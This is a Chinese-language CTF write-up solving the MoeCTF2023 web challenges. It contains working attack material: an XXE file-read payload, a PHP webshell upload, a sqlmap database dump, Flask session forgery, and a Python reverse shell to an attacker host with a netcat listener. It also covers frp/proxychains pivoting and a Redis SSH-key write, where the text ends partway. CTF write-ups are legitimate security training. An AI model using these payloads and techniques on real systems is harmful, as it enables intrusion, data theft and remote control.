MoeCTF2023_Web

MoeCTF2023_Web

入门指北

666c61673d6257396c5933526d6533637a62454e7662575666564739666257396c5131524758316379596c396a61474673624756755a3055684958303d
Hex解码:flag=bW9lY3Rme3czbENvbWVfVG9fbW9lQ1RGX1cyYl9jaGFsbGVuZ0UhIX0=

bW9lY3Rme3czbENvbWVfVG9fbW9lQ1RGX1cyYl9jaGFsbGVuZ0UhIX0=
Base64解码:moectf{w3lCome_To_moeCTF_W2b_challengE!!}

http

在这里插入图片描述

exp

在这里插入图片描述


彼岸的flag

打开源代码Ctrl+F查找文本moectf{

在这里插入图片描述


cookie

Api

注册 POST /register

{
    "username":"koito",
    "password":"123456"
}

登录 POST /login

{
    "username":"koito",
    "password":"123456"
}

获取flag GET /flag

查询服务状态 GET /status

exp

1.直接访问flag GET /flag,需要注册登录

在这里插入图片描述

2.注册

在这里插入图片描述

3.登录

在这里插入图片描述

发现token=eyJ1c2VybmFtZSI6ICJ0ZXN0IiwgInBhc3N3b3JkIjogIjEyMzQ1NiIsICJyb2xlIjogInVzZXIifQ==

为Base64编码

eyJ1c2VybmFtZSI6ICJ0ZXN0IiwgInBhc3N3b3JkIjogIjEyMzQ1NiIsICJyb2xlIjogInVzZXIifQ==
Base64解码:{"username": "test", "password": "123456", "role": "user"}

4.用注册用户访问flag GET /flag发现需要admin权限
在这里插入图片描述

修改role为admin

{"username": "test", "password": "123456", "role": "admin"}
Base64编码:eyJ1c2VybmFtZSI6ICJ0ZXN0IiwgInBhc3N3b3JkIjogIjEyMzQ1NiIsICJyb2xlIjogImFkbWluIn0=

在这里插入图片描述


gas!gas!gas!

在这里插入图片描述

exp

1.观察Request,Response

在这里插入图片描述

  • Post参数driver,steering_control,throttle进行控制
  • 根据规则与Response,控制driver,steering_control,throttle
  • 当次Respnse中的session作为下一次Request的session,保持会话状态

2.编写脚本

import requests
import re
def find_flag(text):
    pattern = r'moectf\{(.+?)\}'
    matches = re.findall(pattern, text)
    flag="moectf{"+matches[0]+"}"
    return flag

url="http://localhost:11476/"
driver="1"
steering_control="0"#直行
throttle="2"#全开
payload =  {
    "driver": driver,
    "steering_control": steering_control,
    "throttle": throttle
}


response = requests.post(url, data=payload)

while 1:
    if "moectf{" in response.text:
        print(find_flag(response.text))
        break
    #当次Respnse中的session作为下一次Request的session,保持会话状态
    session = response.cookies.get('session')
    cookies = {
        " session": session
    }
    if "弯道向左" in response.text:
        steering_control="1"#右
    elif "弯道向右" in response.text:
        steering_control="-1"#左
    else:steering_control="0"#直行

    if "抓地力太大了!" in response.text:
        throttle="2"#全开
    elif "抓地力太小了!" in response.text:
        throttle="0"#松开
    else:throttle="1"#保持

    payload = {
        "driver": driver,
        "steering_control": steering_control,
        "throttle": throttle
    }
    response = requests.post(url, data=payload,cookies=cookies)

大海捞针

在这里插入图片描述

exp

  • 遍历/?id=<1-1000>,搜索Responsemoectf{
import requests
import re

def find_flag(text):
    pattern = r'moectf\{(.+?)\}'
    matches = re.findall(pattern, text)
    flag="moectf{"+matches[0]+"}"
    return flag

url = "http://101.42.178.83:7770/?id={}"
# 945
for i in range(1000, 0,-1):
    new_url = url.format(i)
    print(new_url)
    respone = requests.get(new_url)
    if "moectf{" in respone.text:
        print(find_flag(respone.text))
        break


了解你的座驾

1.抓包发现xml_content根据xml的进行页面切换

在这里插入图片描述

%3Cxml%3E%3Cname%3EXDU+moeCTF+Flag%3C%2Fname%3E%3C%2Fxml%3E
URL解码:<xml><name>XDU+moeCTF+Flag</name></xml>

2.利用XEE漏洞(“XML External Entity” (XML 外部实体)漏洞)

<?xml version="1.0" encoding="utf-8"?> 	
<!DOCTYPE xxe[ <!ELEMENT test ANY ><!ENTITY xxe SYSTEM "file:///flag" >]>
<xml><name>&xxe;</name></xml>
URL解码:
%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22utf-8%22%3F%3E%20%09%0A%3C!DOCTYPE%20xxe%5B%20%3C!ELEMENT%20test%20ANY%20%3E%3C!ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2F%2Fflag%22%20%3E%5D%3E%0A%3Cxml%3E%3Cname%3E%26xxe%3B%3C%2Fname%3E%3C%2Fxml%3E

在这里插入图片描述


moe图床

1.前后端均有后缀检测,.png绕过前端,.png.php绕过后端

在这里插入图片描述

2.访问/uploads/hack.png.php,php代码执行成功

在这里插入图片描述

3.Post传参shell=system(“系统命令”);调用系统命令获取flag

在这里插入图片描述


meo图床

1.上传任意符合格式图片后,访问上传页面发现name参数,修改name,报错发现file_get_contents()

在这里插入图片描述

2.利用../../../flag访问根目录文件,发现Fl3g_n0t_Here_dont_peek!!!!!.php

在这里插入图片描述

3.访问Fl3g_n0t_Here_dont_peek!!!!!.php

<?php

highlight_file(__FILE__);

if (isset($_GET['param1']) && isset($_GET['param2'])) {
    $param1 = $_GET['param1'];
    $param2 = $_GET['param2'];

    if ($param1 !== $param2) {
        
        $md5Param1 = md5($param1);
        $md5Param2 = md5($param2);

        if ($md5Param1 == $md5Param2) {
            echo "O.O!! " . getenv("FLAG");
        } else {
            echo "O.o??";
        }
    } else {
        echo "o.O?";
    }
} else {
    echo "O.o?";
}

?>
md5碰撞
param1=
M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
&param2=
M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

在这里插入图片描述


夺命十三枪

1.访问//Hanxin.exe.php得到php源代码

 <?php
highlight_file(__FILE__);

require_once('Hanxin.exe.php');

$Chant = isset($_GET['chant']) ? $_GET['chant'] : 'ĺ¤şĺ‘˝ĺä¸‰ćžŞ';

$new_visitor = new Omg_It_Is_So_Cool_Bring_Me_My_Flag($Chant);

$before = serialize($new_visitor);
$after = Deadly_Thirteen_Spears::Make_a_Move($before);
echo 'Your Movements: ' . $after . '<br>';

try{
    echo unserialize($after);
}catch (Exception $e) {
    echo "Even Caused A Glitch...";
}
?>
<?php

if (basename($_SERVER['SCRIPT_FILENAME']) === basename(__FILE__)) {
    highlight_file(__FILE__);
}

class Deadly_Thirteen_Spears{
    private static $Top_Secret_Long_Spear_Techniques_Manual = array(
        "di_yi_qiang" => "Lovesickness",
        "di_er_qiang" => "Heartbreak",
        "di_san_qiang" => "Blind_Dragon",
        "di_si_qiang" => "Romantic_charm",
        "di_wu_qiang" => "Peerless",
        "di_liu_qiang" => "White_Dragon",
        "di_qi_qiang" => "Penetrating_Gaze",
        "di_ba_qiang" => "Kunpeng",
        "di_jiu_qiang" => "Night_Parade_of_a_Hundred_Ghosts",
        "di_shi_qiang" => "Overlord",
        "di_shi_yi_qiang" => "Letting_Go",
        "di_shi_er_qiang" => "Decisive_Victory",
        "di_shi_san_qiang" => "Unrepentant_Lethality"
    );

    public static function Make_a_Move($move){
        foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index => $movement){
            $move = str_replace($index, $movement, $move);
        }
        return $move;
    }
}

class Omg_It_Is_So_Cool_Bring_Me_My_Flag{

    public $Chant = '';
    public $Spear_Owner = 'Nobody';

    function __construct($chant){
        $this->Chant = $chant;
        $this->Spear_Owner = 'Nobody';
    }

    function __toString(){
        if($this->Spear_Owner !== 'MaoLei'){
            return 'Far away from COOL...';
        }
        else{
            return "Omg You're So COOOOOL!!! " . getenv('FLAG');
        }
    }
}

?> 
  1. 构造$after(s:11:"Spear_Owner";s:6:"MaoLei";)echo unserialize($after);触发__toString()获取flag
  • 利用Deadly_Thirteen_Spears::Make_a_Move()字符数增加关系闭合Chant
         字符数变化(strlen($index)-strlen($movement))
di_yi_qiang -1
di_er_qiang 1
di_san_qiang 0
di_si_qiang -3
di_wu_qiang 3
di_liu_qiang 0
di_qi_qiang -5
di_ba_qiang 4
di_jiu_qiang -20
di_shi_qiang 4
di_shi_yi_qiang 5
di_shi_er_qiang -1
di_shi_san_qiang -5
  • ";s:11:"Spear_Owner";s:6:"MaoLei";}需要35字符di_jiu_qiangdi_qi_qiangdi_qi_qiangdi_yi_qiangdi_yi_qiangdi_si_qiang20+5+5+1+1+3=35字符
构造$after="O:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flag":2:{s:5:"Chant";s:102:"Night_Parade_of_a_Hundred_GhostsPenetrating_GazePenetrating_GazeLovesicknessLovesicknessRomantic_charm";s:11:"Spear_Owner";s:6:"MaoLei";}";s:11:"Spear_Owner";s:6:"Nobody";}"
payload:
?chant=di_jiu_qiangdi_qi_qiangdi_qi_qiangdi_yi_qiangdi_yi_qiangdi_si_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}

在这里插入图片描述


signin

Source Code

from secrets import users, salt
import hashlib
import base64
import json
import http.server

with open("flag.txt","r") as f:
    FLAG = f.read().strip()

def gethash(*items):
    c = 0
    for item in items:
        if item is None:
            continue
        c ^= int.from_bytes(hashlib.md5(f"{salt}[{item}]{salt}".encode()).digest(), "big") # it looks so complex! but is it safe enough?
    return hex(c)[2:]

assert "admin" in users
assert users["admin"] == "admin"

hashed_users = dict((k,gethash(k,v)) for k,v in users.items())

eval(int.to_bytes(0x636d616f686e69656e61697563206e6965756e63696165756e6320696175636e206975616e6363616361766573206164^8651845801355794822748761274382990563137388564728777614331389574821794036657729487047095090696384065814967726980153,160,"big",signed=True).decode().translate({ord(c):None for c in "\x00"})) # what is it?
    
def decrypt(data:str):
        for x in range(5):
            data = base64.b64encode(data).decode() # ummm...? It looks like it's just base64 encoding it 5 times? truely?
        return data

__page__ = base64.b64encode("PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KICAgIDx0aXRsZT5zaWduaW48L3RpdGxlPgogICAgPHNjcmlwdD4KICAgICAgICBbXVsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXV1bKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVsrW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW10re30pWyshIVtdXSsoISFbXStbXSlbKyEhW11dXSgoK3t9K1tdKVsrISFbXV0rKCEhW10rW10pWytbXV0rKFtdK3t9KVsrISFbXV0rKFtdK3t9KVshK1tdKyEhW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rW11bKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyghIVtdK1tdKVsrISFbXV0rKCEhW10rW10pWytbXV1dWyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoW10re30pWyshIVtdXSsoW11bW11dK1tdKVsrISFbXV0rKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyghIVtdK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbK1tdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXV0oKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdW1tdXStbXSlbK1tdXSsoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXVtbXV0rW10pWytbXV0rKFtdW1tdXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKygre30rW10pWyshIVtdXSsoW10rW11bKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyghIVtdK1tdKVsrISFbXV0rKCEhW10rW10pWytbXV1dWyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoW10re30pWyshIVtdXSsoW11bW11dK1tdKVsrISFbXV0rKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyghIVtdK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbK1tdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXV0oKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdW1tdXStbXSlbK1tdXSsoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW11dKyghW10rW10pWyErW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKygre30rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSkoIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10pKVshK1tdKyEhW10rISFbXV0rKFtdW1tdXStbXSlbIStbXSshIVtdKyEhW11dKSghK1tdKyEhW10rISFbXSshIVtdKShbXVsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXV1bKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVsrW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW10re30pWyshIVtdXSsoISFbXStbXSlbKyEhW11dXSgoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW11bW11dK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbKyEhW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rKFtdW1tdXStbXSlbIStbXSshIVtdKyEhW11dKyghW10rW10pWyErW10rISFbXSshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCt7fStbXSlbKyEhW11dKyhbXStbXVsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXV1bKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVsrW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW10re30pWyshIVtdXSsoISFbXStbXSlbKyEhW11dXSgoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW11bW11dK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbKyEhW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rKCFbXStbXSlbIStbXSshIVtdXSsoW10re30pWyshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCt7fStbXSlbKyEhW11dKyghIVtdK1tdKVsrW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKFtdW1tdXStbXSlbKyEhW11dKSghK1tdKyEhW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXSkpWyErW10rISFbXSshIVtdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXV0pKCErW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10pKChbXSt7fSlbK1tdXSlbK1tdXSsoIStbXSshIVtdKyEhW10rW10pKyhbXVtbXV0rW10pWyErW10rISFbXV0pKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rKFtdK3t9KVshK1tdKyEhW11dKyghIVtdK1tdKVsrW11dKyhbXSt7fSlbKyEhW11dKygre30rW10pWyshIVtdXSkoIStbXSshIVtdKyEhW10rISFbXSkKICAgICAgICB2YXIgXzB4ZGI1ND1bJ3N0cmluZ2lmeScsJ2xvZycsJ3Bhc3N3b3JkJywnL2xvZ2luJywnUE9TVCcsJ2dldEVsZW1lbnRCeUlkJywndGhlbiddO3ZhciBfMHg0ZTVhPWZ1bmN0aW9uKF8weGRiNTRmYSxfMHg0ZTVhOTQpe18weGRiNTRmYT1fMHhkYjU0ZmEtMHgwO3ZhciBfMHg0ZDhhNDQ9XzB4ZGI1NFtfMHhkYjU0ZmFdO3JldHVybiBfMHg0ZDhhNDQ7fTt3aW5kb3dbJ2FwaV9iYXNlJ109Jyc7ZnVuY3Rpb24gbG9naW4oKXtjb25zb2xlW18weDRlNWEoJzB4MScpXSgnbG9naW4nKTt2YXIgXzB4NWYyYmViPWRvY3VtZW50W18weDRlNWEoJzB4NScpXSgndXNlcm5hbWUnKVsndmFsdWUnXTt2YXIgXzB4NGZkMjI2PWRvY3VtZW50W18weDRlNWEoJzB4NScpXShfMHg0ZTVhKCcweDInKSlbJ3ZhbHVlJ107dmFyIF8weDFjNjFkOT1KU09OW18weDRlNWEoJzB4MCcpXSh7J3VzZXJuYW1lJzpfMHg1ZjJiZWIsJ3Bhc3N3b3JkJzpfMHg0ZmQyMjZ9KTt2YXIgXzB4MTBiOThlPXsncGFyYW1zJzphdG9iKGF0b2IoYXRvYihhdG9iKGF0b2IoXzB4MWM2MWQ5KSkpKSl9O2ZldGNoKHdpbmRvd1snYXBpX2Jhc2UnXStfMHg0ZTVhKCcweDMnKSx7J21ldGhvZCc6XzB4NGU1YSgnMHg0JyksJ2JvZHknOkpTT05bXzB4NGU1YSgnMHgwJyldKF8weDEwYjk4ZSl9KVtfMHg0ZTVhKCcweDYnKV0oZnVuY3Rpb24oXzB4Mjk5ZDRkKXtjb25zb2xlW18weDRlNWEoJzB4MScpXShfMHgyOTlkNGQpO30pO30KICAgIDwvc2NyaXB0Pgo8L2hlYWQ+Cjxib2R5PgogICAgPGgxPmV6U2lnbmluPC9oMT4KICAgIDxwPlNpZ24gaW4gdG8geW91ciBhY2NvdW50PC9wPgogICAgPHA+ZGVmYXVsdCB1c2VybmFtZSBhbmQgcGFzc3dvcmQgaXMgYWRtaW4gYWRtaW48L3A+CiAgICA8cD5Hb29kIEx1Y2shPC9wPgoKICAgIDxwPgogICAgICAgIHVzZXJuYW1lIDxpbnB1dCBpZD0idXNlcm5hbWUiPgogICAgPC9wPgogICAgPHA+CiAgICAgICAgcGFzc3dvcmQgPGlucHV0IGlkPSJwYXNzd29yZCIgdHlwZT0icGFzc3dvcmQiPgogICAgPC9wPgogICAgPGJ1dHRvbiBpZCA9ICJsb2dpbiI+CiAgICAgICAgTG9naW4KICAgIDwvYnV0dG9uPgo8L2JvZHk+CjxzY3JpcHQ+CiAgICBjb25zb2xlLmxvZygiaGVsbG8/IikKICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJsb2dpbiIpLmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIiwgbG9naW4pOwo8L3NjcmlwdD4KPC9odG1sPg==")
        
class MyHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        try:
            if self.path == "/":
                self.send_response(200)
                self.end_headers()
                self.wfile.write(__page__)
            else:
                self.send_response(404)
                self.end_headers()
                self.wfile.write(b"404 Not Found")
        except Exception as e:
            print(e)
            self.send_response(500)
            self.end_headers()
            self.wfile.write(b"500 Internal Server Error")

    def do_POST(self):
        try:
            if self.path == "/login":
                body = self.rfile.read(int(self.headers.get("Content-Length")))
                payload = json.loads(body)
                params = json.loads(decrypt(payload["params"]))
                print(params)
                if params.get("username") == "admin":
                    self.send_response(403)
                    self.end_headers()
                    self.wfile.write(b"YOU CANNOT LOGIN AS ADMIN!")
                    print("admin")
                    return
                if params.get("username") == params.get("password"):
                    self.send_response(403)
                    self.end_headers()
                    self.wfile.write(b"YOU CANNOT LOGIN WITH SAME USERNAME AND PASSWORD!")
                    print("same")
                    return
                hashed = gethash(params.get("username"),params.get("password"))
                for k,v in hashed_users.items():
                    if hashed == v:
                        data = {
                            "user":k,
                            "hash":hashed,
                            "flag": FLAG if k == "admin" else "flag{YOU_HAVE_TO_LOGIN_IN_AS_ADMIN_TO_GET_THE_FLAG}"
                        }
                        self.send_response(200)
                        self.end_headers()
                        self.wfile.write(json.dumps(data).encode())
                        print("success")
                        return
                self.send_response(403)
                self.end_headers()
                self.wfile.write(b"Invalid username or password")
            else:
                self.send_response(404)
                self.end_headers()
                self.wfile.write(b"404 Not Found")
        except Exception as e:
            print(e)
            self.send_response(500)
            self.end_headers()
            self.wfile.write(b"500 Internal Server Error")

if __name__ == "__main__":
    server = http.server.HTTPServer(("", 9999), MyHandler)
    server.serve_forever()

exp

格式化绕过

原理:数字1和字符串’1’格式化的结果相同

在这里插入图片描述

{"username":"1","password":1}
五次base64编码:
VjJ4b2MxTXdNVmhVV0d4WFltMTRjRmxzVm1GTlJtUnpWR3R3VDJFeWVIaFZiR1J6VkZaRmQyTkVUbGhXYldoUVdsY3hVbVZWT1ZsaVIwWlNUVWR6ZVZaR1dtNWtNVUpTVUZRd1BRPT0=

在这里插入图片描述


出去旅游的心海

加载/wordpress发现网络资源logger.php

在这里插入图片描述

打开logger.php(/wordpress/wp-content/plugins/visitor-logging/logger.php),发现存在sql注入 注入点为参数time

<?php
/*
Plugin Name: Visitor auto recorder
Description: Automatically record visitor's identification, still in development, do not use in industry environment!
Author: KoKoMi
  Still in development! :)
*/

// 不许偷看!这些代码我还在调试呢!
highlight_file(__FILE__);

// 加载数据库配置,暂时用硬编码绝对路径
require_once('/var/www/html/wordpress/' . 'wp-config.php');

$db_user = DB_USER; // 数据库用户名
$db_password = DB_PASSWORD; // 数据库密码
$db_name = DB_NAME; // 数据库名称
$db_host = DB_HOST; // 数据库主机

// 我记得可以用wp提供的global $wpdb来操作数据库,等旅游回来再研究一下
// 这些是临时的代码

$ip = $_POST['ip'];
$user_agent = $_POST['user_agent'];
$time = stripslashes($_POST['time']);

$mysqli = new mysqli($db_host, $db_user, $db_password, $db_name);

// 检查连接是否成功
if ($mysqli->connect_errno) {
    echo '数据库连接失败: ' . $mysqli->connect_error;
    exit();
}

$query = "INSERT INTO visitor_records (ip, user_agent, time) VALUES ('$ip', '$user_agent', $time)";

// 执行插入
$result = mysqli_query($mysqli, $query);

// 检查插入是否成功
if ($result) {
    echo '数据插入成功';
} else {
    echo '数据插入失败: ' . mysqli_error($mysqli);
}

// 关闭数据库连接
mysqli_close($mysqli);

//gpt真好用

bp抓包,请求方式改为POST

payload.txt:
POST /wordpress/wp-content/plugins/visitor-logging/logger.php HTTP/1.1
Host: 101.42.178.83:7770
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 8

time=1

sqlmap注入

命令:python sqlmap.py -r “.\payload.txt” -p time --dbs

发现数据库wordpress

在这里插入图片描述

命令:python sqlmap.py “.\payload.txt” -p time -D wordpress -tables

查看数据库wordpress下的所有表

表secret_of_kokomi疑似flag所在

在这里插入图片描述

命令:python sqlmap.py -r “.\payload.txt” -p time -D wordpress -T secret_of_kokomi --columns

查看表secret_of_kokomi下的所有字段

在这里插入图片描述

命令:python sqlmap.py -r “.\payload.txt” -p time -D wordpress -T secret_of_kokomi -C “content” --dump

查看字段content的内容

在这里插入图片描述


moeworld

第一部分

是个登录页面

在这里插入图片描述

注册登录发现hint

在这里插入图片描述

该账号cookie:session=eyJwb3dlciI6Imd1ZXN0IiwidXNlciI6InRlc3QifQ.ZSPfTg.XSjrNN4YEJn1ewRVGAHLyArmTkc

Base64解码:

在这里插入图片描述

根据hint与键”power“、”user“爆破出secret_key,使用{‘power’: ‘admin’, ‘user’: ‘admin’}以root权限登录

import zlib
from itsdangerous import base64_decode
import ast
import os
from flask.sessions import SecureCookieSessionInterface


class MockApp(object):
    def __init__(self, secret_key):
        self.secret_key = secret_key


class FSCM:
    def encode(secret_key, session_cookie_structure):
        """ Encode a Flask session cookie """
        try:
            app = MockApp(secret_key)

            session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
            si = SecureCookieSessionInterface()
            s = si.get_signing_serializer(app)

            return s.dumps(session_cookie_structure)
        except Exception as e:
            return "[Encoding error] {}".format(e)

    @staticmethod
    def decode(session_cookie_value, secret_key=None):
        try:
            if secret_key is None:
                compressed = False
                payload = session_cookie_value
                if payload.startswith('.'):
                    compressed = True
                    payload = payload[1:]
                data = payload.split(".")[0]
                data = base64_decode(data)
                if compressed:
                    data = zlib.decompress(data)
                return data
            else:
                app = MockApp(secret_key)
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.loads(session_cookie_value)
        except Exception as e:
            return "[Decoding error] {}".format(e)


if __name__ == "__main__":
    while True:
        cookie_value = 'eyJwb3dlciI6Imd1ZXN0IiwidXNlciI6InRlc3QifQ.ZSPfTg.XSjrNN4YEJn1ewRVGAHLyArmTkc'
        secret_key = "This-random-secretKey-you-can't-get" + os.urandom(2).hex()
        if secret_key:
            result = FSCM.decode(cookie_value, secret_key)
        else:
            result = FSCM.decode(cookie_value)

        if 'power' and 'user' in result:
            print(result, secret_key)
            # {'power': 'guest', 'user': 'test'} This-random-secretKey-you-can't-gete47c
            print(FSCM.encode(secret_key, "{'power': 'admin', 'user': 'admin'}"))
            # eyJwb3dlciI6ImFkbWluIiwidXNlciI6ImFkbWluIn0.ZSPj4Q.O3zHf72gAmGNfgqC5eYYJ3MM_1Y
            break

发现新hint

在这里插入图片描述

访问/console用所给pin码223-317-007登录

反弹shell命令:

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“攻击机ip”,端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,“-i”]);

攻击机监听端口命令:

netcat -lvvp 端口

在这里插入图片描述

获取第一部分flag

在这里插入图片描述

第二部分

从readme得到新hint

在这里插入图片描述

cat /etc/hosts查看主机与ip映射关系

发现两个Docker的ip:172.20.0.4、172.21.0.2 猜测子关掩码为16

B类地址:IP地址范围在128.0.0.0到191.255.255.255之间

在这里插入图片描述

用fscan扫描172.20.0.4/16、172.21.0.2/16两个网段与本机开放端口

发现172.21.0.0/16为外网 172.20.0.0/16为内网

根据hint规定,得到压缩包hint.zip的密码为22-3306-6379-8080

(由于本地搭的环境web端口改成11000,所以本机扫出来的端口是11000)

在这里插入图片描述

在这里插入图片描述

解压hint.zip获得新hint

在这里插入图片描述

利用frpc、proxychains搭建隧道代理

攻击机配置服务端

frps.ini:
[common]
bind_addr=0.0.0.0
bind_port = 7000

执行命令:frps -c frps.ini

在这里插入图片描述

靶机配置客户端

执行命令:printf “[common]\nserver_addr = 192.168.24.132\nserver_port = 7000\n[plugin_socks5]\ntype = tcp\nremote_port = 7777\nplugin = socks5\n” > frpc1.ini

连接命令:frpc -c frpc1.ini

连接成功如下:

在这里插入图片描述

在这里插入图片描述

proxychains4设置代理端口:socks5 127.0.0.1 7777

在这里插入图片描述

在/app/datasql.py中发现数据库root密码:root

在这里插入图片描述

连接172.20.0.3数据库获取第二部分flag

在这里插入图片描述

第三部分

直接连接172.20.0.2redis发现未授权访问

根据还开放的22端口,Redis密钥登录ssh

参考文章

设置redis密码:config set requirepass 密码

在这里插入图片描述

1.生成shh-rsa公钥密钥:ssh-keygen -t rsa

2.导出公钥id_rsa.pub(\n\n是为了防止乱码):
(echo -e “\n\n”; cat /root/.ssh/id_rsa.pub; echo -e “\n\n”) > key.txt

3.将生成的公钥写入redis服务器的内存之中:

cat key.txt |proxychains4 redis-cli -h 172.20.0.2 -a root -x set ssh_key

4.查看ssh_key是否导入:KEYS *

